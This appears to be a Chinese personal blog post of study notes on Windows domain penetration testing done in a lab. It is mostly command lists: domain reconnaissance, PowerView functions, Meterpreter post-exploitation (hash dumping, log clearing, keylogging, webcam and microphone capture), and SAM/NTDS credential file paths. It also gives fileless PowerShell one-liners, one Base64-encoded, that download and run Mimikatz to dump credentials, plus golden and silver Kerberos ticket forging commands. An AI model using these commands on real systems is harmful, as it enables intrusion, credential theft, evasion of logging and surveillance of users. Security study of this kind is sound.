Fork me on GitHub

域渗透(一)

耽搁了一些时间的域渗透相关的学习总结,虽说之前零散的看了一些资料,但没有进行相关的汇总和总结。备考完期末考试后需要静下心来把这些零散的知识点进行复盘,之前的WS 2012环境忘记密码了,所以重新搭建了一个模拟的单树域环境进行相关概念的映证以及工具的使用。

DOS搜集

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
systeminfo                                           # 查询系统信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 查询操作系统名称及版本(英文)
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" # 查询操作系统名称及版本(中文)
echo %PROCESSOR_ARCHITECTURE% # 查询系统体系结构
SET # 查询所有环境变量
whoami # 查询当前用户信息
ipconfig /all # 查询本机IP、网关、DNS、IP段、所在域相关信息
netstat -an # 查询所有和本地计算机建立连接的IP
net start # 查询已启动服务
net time /domain # 查询域时间,以及域服务器的名字(快速查找域的方法)
net user # 查询本机用户列表
net user xxx # 查询指定用户信息
net user /domain # 查询域用户
net user /domain xxx 12345678 # 修改域用户密码(需要域管理员权限)
net user domain-admin /domain # 查询域管理员登录时间,密码过期时间,是否有登录脚本,组分配等信息
net localgroup administrator # 查询本机管理员(通常含有域用户)
net localgroup administrator /domain # 查询登录本机的域管理员
net localgroup administrator domain_name\pyxyuyu /add # 域用户(Users组)添加到本机Administrator组(需要本机管理员或域管理员在本机登录域后才能进行)
net view # 查询同一域(工作组)内机器列表,列出的机器不一定在同一个网段,但是在网络结构中有联系
net view /domain # 查询域(工作组)列表(可以查看计算机是否在某个域或工作组内)
net view /domain:domain_name # 查询指定域内计算机列表
net group # 查看域的组
net group /domain # 查看所在域的工作组
net group "domain admins" /domain # 查询域管理员用户组
net group "domain users" /domain # 查询域成员用户组
net group "Domain controllers" # 查询域控制器(如果有多台的话)
ping 机器名 # 查询该计算机对应的IP,可以通过不同的机器来分析有哪些网段,了解本机在网络结构中所占角色
ping 域 # 查询域服务器的IP
route print # 查询路由表信息
arp -A # 查询ARP缓存信息
netsh firewall show config # 查询防火墙配置
netsh firewall show state # 查询防火墙状态
schtasks /QUERY /fo LIST /v # 查询计划任务(英文,中文系统的话,得先执行 chcp 437)
tasklist /SVC # 查询服务进程ID
DRIVERQUERY # 查询安装驱动
wmic product list brief # 查询安装程序和版本信息(漏洞利用线索)

dsquery 查询

dsquery 时DS 上系统自带的查询命令

1
2
3
4
5
6
7
8
9
10
11
dsquery computer   查找目录中的计算机。
dsquery contact 查找目录中的联系人。
dsquery subnet 查找目录中的子网。
dsquery group 查找目录中的组。
dsquery ou 查找目录中的组织单位。
dsquery site 查找目录中的站点。
dsquery server 查找目录中的 AD DC/LDS 实例。
dsquery user 查找目录中的用户。
dsquery quota 查找目录中的配额规定。
dsquery partition 查找目录中的分区。
dsquery * 用通用的LDAP查询来查找目录中的任何对象。

运用powerview

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Powershell.exe -Nop -NonI -Exec Bypass "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerTools/master/PowerView/powerview.ps1');Get-HostIP"

# 参数详解
--[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; 开启ssl,避免https报错
-Command 需要执行的代码
-ExecutionPolicy 设置默认的执行策略,一般使用Bypass
-EncodedCommand 执行Base64代码
-File 这是需要执行的脚本名
-NoExit 执行完成命令之后不会立即退出,比如我们执行powerhsell whoami,执行完成之后会推出我们的PS会话,如果我们加上这个参数,运行完之后还是会继续停留在PS的界面
-NoLogo 不输出PS的Banner信息
-Noninteractive 不开启交互式的会话
-NoProfile 不使用当前用户使用的配置文件
-Sta 以单线程模式启动ps
-Version 设置用什么版本去执行代码
-WindowStyle 设置Powershell的执行窗口,有下面的参数Normal, Minimized, Maximized, or Hidden
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Get-NetDomain                   -   获取当前用户所在域
Get-NetForest - 获取和当前用户域相关的域森林
Get-NetForestDomains - 获取所有的域森
Get-NetDomainControllers - 在当前用户域中获取域控
Get-NetCurrentUser - 获取当前用户名
Get-NetUser - 返回所有用户或者指定用户
Get-NetUserSPNs - 获取所有用户的服务资本
Get-NetOUs - 获取域组织单元的数据
Get-NetGUIDOUs - 查找链接到特定GUID的域组织单元
Invoke-NetUserAdd - 增加一个域用户
Get-NetGroups - 获取当前用户组列表
Get-NetGroup - 在一个特殊的用户组中获取每个用户的数据
Get-NetLocalGroups - 获取远程主机上的本地用户组
Get-NetLocalGroup - 获取远程主机上的本地组的成员
Get-NetLocalServices - 获取远程主机上正在运行的服务/路径的列表
Invoke-NetGroupUserAdd - 将用户添加到指定的本地或域组
Get-NetComputers - 获取域中所有当前服务器的列表
Get-NetFileServers - 获取当前域用户使用的文件服务器列表
Get-NetShare - 获取指定服务器的共享信息
Get-NetLoggedon - 使用户主动登录到指定的服务器
Get-NetSessions - 获取指定服务器上的活动会话
Get-NetFileSessions - 组合Get-NetSessions和Get-NetFiles命令的返回结果
Get-NetConnections - 获取连接到特定服务器资源的活动连接(共享)
Get-NetFiles - 获取服务器上打开的文件
Get-NetProcesses - 获取远程服务器上的远程进程和所有者

Meterpreter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
meterpreter>background    #把会话挂到后台
meterpreter>clearev #清除日志
meterpreter>localtime #查看靶机的时间
meterpreter>hashdump #获取目标系统Hash值
meterpreter>migrate PID #进程迁移
meterpreter>webcam_list #查看目标是否有摄像头
meterpreter>webcam_snap #连接摄像头拍摄照片
meterpreter>webcam_stream #用摄像头录像
meterpreter>router #查看路由
meterpreter>screenshot #截取目标屏幕
meterpreter>getuid #查看当前用户
meterpreter>getsystem #提升至system权限
meterpreter>getprivs #查看当前权限
meterpreter>sysinfo #查看目标系统信息
meterpreter>keyscan_start #开始键盘记录
meterpreter>keyscan_dump #获取键盘记录内容
meterpreter>record_mic #录音
meterpreter>run post/windows/manage/enable_rdp #开启3389端口
meterpreter>run getgui -u 用户名 -p 密码 添加账户
meterpreter>run getgui -e #链接远程桌面窗口
meterpreter>sessions -i index #与会话进行交互,index表示第一个session
meterpreter>cat #查看文件内容
meterpreter>getwd #查看当前工作目录
meterpreter>upload #上传文件到目标机上
meterpreter>download #下载文件到本机上
meterpreter>c:\\1.txt #编辑或创建文件 没有的话,会新建文件
meterpreter>search -f *pass* # 搜索文件 -h查看帮助
meterpreter>rm C:\\test\\bytes.txt #删除文件
meterpreter>portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发,本机监听4444,把目标机3389转到本机4444
meterpreter>execute -H -i -f cmd.exe #创建新进程cmd.exe,-H不可见,-i交互
meterpreter>kill pid #杀死进程
meterpreter>info #查看已有模块信息
meterpreter>idletime #查看目标机闲置时间
meterpreter>uictl disable mouse #禁用鼠标
meterpreter>uictl disable keyboard #禁用键盘
meterpreter>getproxy #查看代理信息
meterpreter>run autoroute -s 192.168.159.0/24 #添加到目标环境网络
meterpreter>run autoroute –p #查看添加的路由
meterpreter>run post/windows/gather/checkvm #是否windows虚拟机
meterpreter>run post/linux/gather/checkvm #是否linux虚拟机
meterpreter>run post/windows/gather/arp_scanner RHOSTS=192.168.159.0/24 端口扫描
meterpreter>run auxiliary/scanner/portscan/tcp RHOSTS=192.168.159.144 PORTS=3389 端口扫描
meterpreter>run post/windows/gather/enum_patches #补丁信息
meterpreter>execute -f 程序 #执行一个程序

密码hash文件

1
2
3
4
5
6
7
# 本机密码hash
C:\windows\system32\config\SAM
C:\Windows\System32\config\SYSTEM

# 域环境密码hash
C:\Windows\NTDS
C:\Windows\SYSVOL

在windows xp,server2003之前包括xp&2003的系统都可以通过工具抓取到完整的LM HASH&NT HASH的。这样就可以直接通过在线的破译网站进行密码破解。

SAM密码文件extract

参考来源: https://computersecuritystudent.com/SECURITY_TOOLS/PASSWORD_CRACKING/lesson2/index.html

对SAM的破解需要用到两个文件(SYSTEM,SAM)和两个工具(bkhive,samdump2)

1
2
bkhive [SYSTEM] [syskey.txt]
samdump2 [SAM] [syskey.txt]>hashes.txt

但是,在最新的发布版本里面,samdump2已经把bkhive集成

1
samdump2 [OPTION]... SYSTEM_FILE SAM_FILE

NTDS.DIT extract

下面几篇文章值得借阅
http://www.nsoad.com/Article/system/20160915/400.html
http://www.4hou.com/technology/12579.html
https://blog.ropnop.com/extracting-hashes-and-domain-info-from-ntds-dit/
https://www.freebuf.com/articles/system/177764.html

下面这个网址给出了如何将密码hash导出成为john或者hashcat格式:
https://blog.didierstevens.com/2016/07/13/practice-ntds-dit-file-part-2-extracting-hashes/

当然如果有比较好的字典,可以直接进行密码的爆破
https://github.com/dafthack/DomainPasswordSpray

mimikatz module~lsadump

上述链接介绍了针对windows LM HASH&NT HASH众工具集,下面主要以mimikatz module~lsadump为例,进行一些实验操作。

参考链接: https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump

mimikatz无文件导hash

以下攻击向量在windows server 2012 测试通过,然而windows10 测试不通过。

1
2
3
4
5
6
7
8
Powershell.exe -Nop -NonI -Exec Bypass "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

#加密版
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEA
G8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuA
GMAbwBtAC8AUABvAHcAZQByAFMAaABlAGwAbABNAGEAZgBpAGEALwBQAG8AdwBlAHIAUwBwAGwAbwBpAHQALwBtAGEAcwB0AGUAcgAvAEUAeABmAGkAbAB0A
HIAYQB0AGkAbwBuAC8ASQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoALgBwAHMAMQAnACkAOwAgACQAbQAgAD0AIABJAG4AdgBvAGsAZQAtAE0AaQBtA
GkAawBhAHQAegAgAC0ARAB1AG0AcABDAHIAZQBkAHMAOwAgACQAbQAKAA==

windows server 2012 运行截图

image

Bypass UAC

UAC机制在 Vista版本引进,并在后续的版本,如 windows7 和windows server2012 windows10……上面均有沿用。

具体原理请移步
https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works

这里搜录一个比较牛的一直在更新的github项目——UACME,找时间一定好好学习下这些思路
https://github.com/hfiref0x/UACME

域环境票据伪造

这篇文章对windows的认证将得很透
http://www.yilan.io/article/5c343fe549205a2c276e3381

既然知道了上述windows认证的协议细节,我们可以明白,获取特定服务主机的hash后我们可以构造白银票据;知道了kerberos用户的hash,我们就可以构造任何服务的黄金票据。构造的相关过程,上述链接里面也有了介绍。这里把关键的密令步骤摘录如下(具体的细节,请移步mimikatz官方wiki:https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos):

白银票据

1
mimikatz “kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit

黄金票据

1
mimikatz “kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit

上述命令执行完毕会直接在当前会话注入票据(相当于直接集成了kerberos::ptt命令)。当然最后的/ppt换成/ticket后接输出文件名可以把票据直接保存到文件,而不是直接注入当前会话。

如何找域控

  • 查找内网DNS
  • 扫描获取开放端口为389机器
  • 使用NLTEST命令查看
  • 运用net命令或者其他类似工具查找域控

  • 以下命令可以带来帮助

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    1.net view
    net view /domain
    2.set log
    set log
    3.通过srv记录
    nslookup -type=SRV _ldap._tcp.corp
    4.使用nltest
    nltest /dclist:corp
    5.使用dsquery
    DsQuery Server -domain corp
    6.使用netdom
    netdom query pdc

参考

[1] PS Bypass UAC
[2] 九种姿势运行Mimikatz
[3] powershell 远程下载
[4] msf 五种方式绕过UAC
[5] Anatomy of UAC Attacks
[6] Powershell提权框架
[7] 内网剑客三结义
[8] 从零开始内网渗透学习
[9] 我所了解的内网渗透——内网渗透知识大总结
[10] 域渗透基础简单信息收集
[11] 域渗透的整理
[12] 我所了解的内网渗透——内网渗透知识大总结

-------------本文结束感谢您的阅读-------------